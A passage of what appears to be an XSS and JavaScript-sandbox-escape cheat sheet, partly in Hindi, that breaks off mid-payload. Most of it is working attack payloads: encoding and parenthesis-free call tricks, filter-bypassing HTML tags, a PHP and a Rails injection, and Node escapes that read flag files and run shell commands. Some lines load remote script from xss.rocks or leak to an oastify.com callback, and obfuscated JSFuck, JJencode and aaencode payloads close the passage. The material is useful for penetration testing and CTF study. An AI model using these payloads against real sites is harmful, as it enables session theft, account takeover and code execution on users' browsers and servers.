'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

विशेष एस्केप्स

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS कोड के अंदर स्पेस प्रतिस्थापन

<TAB>
/**/

JavaScript comments (से JavaScript Comments ट्रिक)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (से JavaScript new line ट्रिक)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript व्हाइटस्पेस

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript एक comment के अंदर

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript बिना कोष्ठक के

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

मनमाना फ़ंक्शन (alert) कॉल

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
विस्तार के कारण DOM vulnerabilities it was moved to this page:

DOM XSS

वहाँ आपको DOM vulnerabilities क्या हैं, वे कैसे उत्पन्न होते हैं, और उन्हें कैसे exploit किया जा सकता है, का विस्तृत explanation मिलेगा।
साथ ही, यह न भूलें कि उल्लिखित पोस्ट के अंत में आप DOM Clobbering attacks के बारे में एक व्याख्या पा सकते हैं।

Self-XSS का उन्नयन

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

हो सकता है कि कोई user अपना profile admin के साथ शेयर करे, और अगर user के profile में self XSS मौजूद हो और admin उसे access करे, तो वह vulnerability ट्रिगर हो जाएगी।

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

आप administrator को अपने self XSS को trigger करने के लिए प्रेरित कर सकते हैं और उसकी cookies/session चुरा सकते हैं।

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment के कारण HTML में quotes डाल दिए जाते हैं और फिर quote restriction bypass हो जाती है और अतिरिक्त fields (onfocus) टैग के अंदर जोड़े जा सकते हैं।\ Form example (from this report), अगर आप payload भेजते हैं:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

जोड़ी “Key”,“Value” इस तरह वापस echo की जाएगी:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

फिर, onfocus attribute सम्मिलित किया जाएगा और XSS होगा।

Special combinations

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 response में header injection के साथ XSS

यदि आप यह पता लगाते हैं कि आप 302 Redirect response में headers inject कर सकते हैं तो आप ब्राउज़र को arbitrary JavaScript execute करवा कर देख सकते हैं। यह सरल नहीं है क्योंकि आधुनिक ब्राउज़र्स HTTP response status code 302 होने पर HTTP response body को interpret नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है।

In this report and this one आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल कैसे टेस्ट कर सकते हैं और देख सकते हैं क्या उनमें से कोई browser को body के अंदर XSS payload को inspect और execute करने देता है।
पहले ज्ञात प्रोटोकॉल: mailto://, //x:1/, ws://, wss://, खाली Location header, resource://.

Only Letters, Numbers and Dots

यदि आप उन characters तक सीमित callback संकेत कर पाने में सक्षम हैं जिन्हें javascript execute करने जा रहा है तो यह उपयोगी हो सकता है। इस पोस्ट के इस सेक्शन को पढ़ें यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।

Valid <script> Content-Types to XSS

(From here) यदि आप किसी script को content-type जैसे application/octet-stream के साथ load करने की कोशिश करते हैं, तो Chrome निम्नलिखित error देगा:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome को loaded script चलाने के लिए केवल वही Content-Types सपोर्ट करेंगे जो const kSupportedJavascriptTypes में दिये गए हैं, जो कि https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc में बताए गए हैं।

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS के लिए Script प्रकार

(From here) तो, script लोड करने के लिए किन प्रकारों को संकेतित किया जा सकता है?

<script type="???"></script>

उत्तर है:

  • module (डिफ़ॉल्ट, समझाने की जरूरत नहीं)
  • webbundle: Web Bundles एक ऐसी विशेषता है जो HTML, CSS, JS… जैसे डेटा को एक साथ एक .wbn फ़ाइल में पैकेज करने की अनुमति देती है.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import syntax में सुधार करने की अनुमति देता है
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

यह व्यवहार this writeup में लाइब्रेरी को eval पर remap करके उसके दुरुपयोग से XSS ट्रिगर करने के लिए इस्तेमाल किया गया था।

  • speculationrules: यह फ़ीचर मुख्य रूप से pre-rendering से उत्पन्न कुछ समस्याओं का समाधान करने के लिए है। यह इस तरह काम करता है:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(स्रोत here) निम्नलिखित Content-Types सभी ब्राउज़रों में XSS execute कर सकते हैं:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे एक CTF में देखा था)
  • application/rss+xml (off)
  • application/atom+xml (off)

दूसरे ब्राउज़रों में अन्य Content-Types arbitrary JS चलाने के लिए इस्तेमाल किए जा सकते हैं, देखें: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

यदि पृष्ठ text/xml content-type लौटाता है तो namespace निर्दिष्ट करके arbitrary JS execute करना संभव है:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

विशेष प्रतिस्थापन पैटर्न

जब कुछ इस तरह "some {{template}} data".replace("{{template}}", <user_input>) का उपयोग किया जाता है। attacker कुछ सुरक्षा उपायों को बायपास करने के लिए special string replacements का उपयोग कर सकता है: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

उदाहरण के लिए this writeup में, इसका उपयोग स्क्रिप्ट के अंदर JSON स्ट्रिंग को escape करने और arbitrary code execute करने के लिए किया गया था।

Chrome Cache से XSS

Chrome Cache to XSS

XS Jails Escape

यदि आपके पास केवल सीमित सेट के chars उपयोग करने के लिए हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों को देखें:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

यदि everything is undefined अनविश्वसनीय कोड निष्पादित करने से पहले (जैसे this writeup) तो “कुछ भी न होने से” उपयोगी ऑब्जेक्ट्स जनरेट करना संभव है ताकि मनमाने अनविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सके:

  • import() का उपयोग
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require को अप्रत्यक्ष रूप से एक्सेस करना

इसके अनुसार मॉड्यूल्स को Node.js एक फ़ंक्शन के भीतर लपेटता है, जैसे:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

इसलिए, यदि उस मॉड्यूल से हम किसी अन्य फ़ंक्शन को कॉल कर सकते हैं, तो उस फ़ंक्शन से arguments.callee.caller.arguments[1] का उपयोग करके require तक पहुँच संभव है:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

पिछले उदाहरण की तरह, error handlers का उपयोग करके मॉड्यूल के wrapper तक पहुँच कर require फ़ंक्शन प्राप्त करना संभव है:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
